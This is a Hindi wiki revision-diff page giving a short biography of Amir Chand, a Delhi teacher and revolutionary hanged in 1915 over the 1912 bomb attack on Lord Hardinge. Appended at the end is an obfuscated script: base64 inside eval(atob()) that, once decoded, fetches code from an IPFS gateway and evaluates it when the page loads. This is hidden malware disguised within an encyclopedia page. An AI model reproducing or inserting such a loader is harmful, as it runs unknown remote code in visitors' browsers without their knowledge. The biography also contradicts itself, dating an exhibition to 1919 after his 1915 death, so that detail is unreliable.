"अमीर चन्द": अवतरणों में अंतर
('{{सूचना बक्सा राजनीतिज्ञ |चित्र=Blankimage.png |चित्र का नाम=अ...' के साथ नया पृष्ठ बनाया) |
No edit summary |
||
पंक्ति 47: | पंक्ति 47: | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{ | {{स्वतन्त्रता सेनानी}} | ||
[[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:अंग्रेज़ी शासन]][[Category:इतिहास कोश]][[Category:चरित कोश]] | [[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:अंग्रेज़ी शासन]][[Category:इतिहास कोश]][[Category:चरित कोश]] | ||
__INDEX__ | __INDEX__ |
10:09, 26 फ़रवरी 2017 का अवतरण
अमीर चन्द
| |
पूरा नाम | अमीर चन्द |
जन्म | 1869 |
जन्म भूमि | दिल्ली |
मृत्यु | 8 मई, 1915 |
मृत्यु स्थान | दिल्ली |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी |
विद्यालय | सेंट स्टीफन कॉलेज, दिल्ली |
अन्य जानकारी | अमीर चन्द के मन में देश भक्ति की मान्यता इतनी प्रबल थी कि स्वदेशी आंदोलन के दौरान हैदराबाद के बाजार में उन्होंने स्वदेशी स्टोर खोला जहां वह देशभक्तों की तस्वीरें तथा क्रांतिकारी साहित्य बेचते थे। |
अमीर चन्द (अंग्रेज़ी: Amir Chand; जन्म- 1869, दिल्ली; मृत्यु- 8 मई, 1915, दिल्ली) भारत के स्वतंत्रता सेनानी थे।
परिचय
अमीर चन्द का जन्म 1869 को दिल्ली के वैश्य परिवार में हुआ। अमीर चन्द दिल्ली के सेंट स्टीफन कॉलेज के विद्यार्थी रहे। अमीर व्यवसाय से एक अध्यापक थे। उनके मन में देश भक्ति की मान्यता इतनी प्रबल थी कि स्वदेशी आंदोलन के दौरान हैदराबाद के बाजार में उन्होंने स्वदेशी स्टोर खोला जहाँ वह देशभक्तों की तस्वीरें तथा क्रांतिकारी साहित्य बेचते थे। 1919 में दिल्ली में भी स्वदेशी प्रदर्शनी लगाई।
क्रांतिकारी गतिविधि
अमीर चन्द हनुमन्त सहाय, अवध बिहारी, बाल मुकुन्द तथा बसन्त कुमार विश्वास के साथ उनकी क्रांतिकारी गतिविधियों में उनके साथ थे। बंगाल के उग्रवादियों तथा दिल्ली के एक क्रांतिकारी समूह ने 23 दिसम्बर, 1912 को चांदनी चौक में लार्ड हार्डिंग पर बम फैंका। वास्तव में बम बसंत कुमार विश्वास द्वारा फैंका गया था जिसके कारण व्यापक स्तर पर गिफ्तारियाँ हुई। मास्टर अमीर चन्द, भाई बाल मुकुन्द, तथा मास्टर अवध बिहारी इन सभी पर एक वर्ष से अधिक तक मुकदमा चलाया गया।
मृत्यु
अमीर चन्द को दिल्ली की केंद्रीय जेल में 8 मई, 1915 को तीन साथियों (अवध बिहारी, बाल मुकुंद, बसन्त कुमार बिस्वास) के साथ फांसी दी गई।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>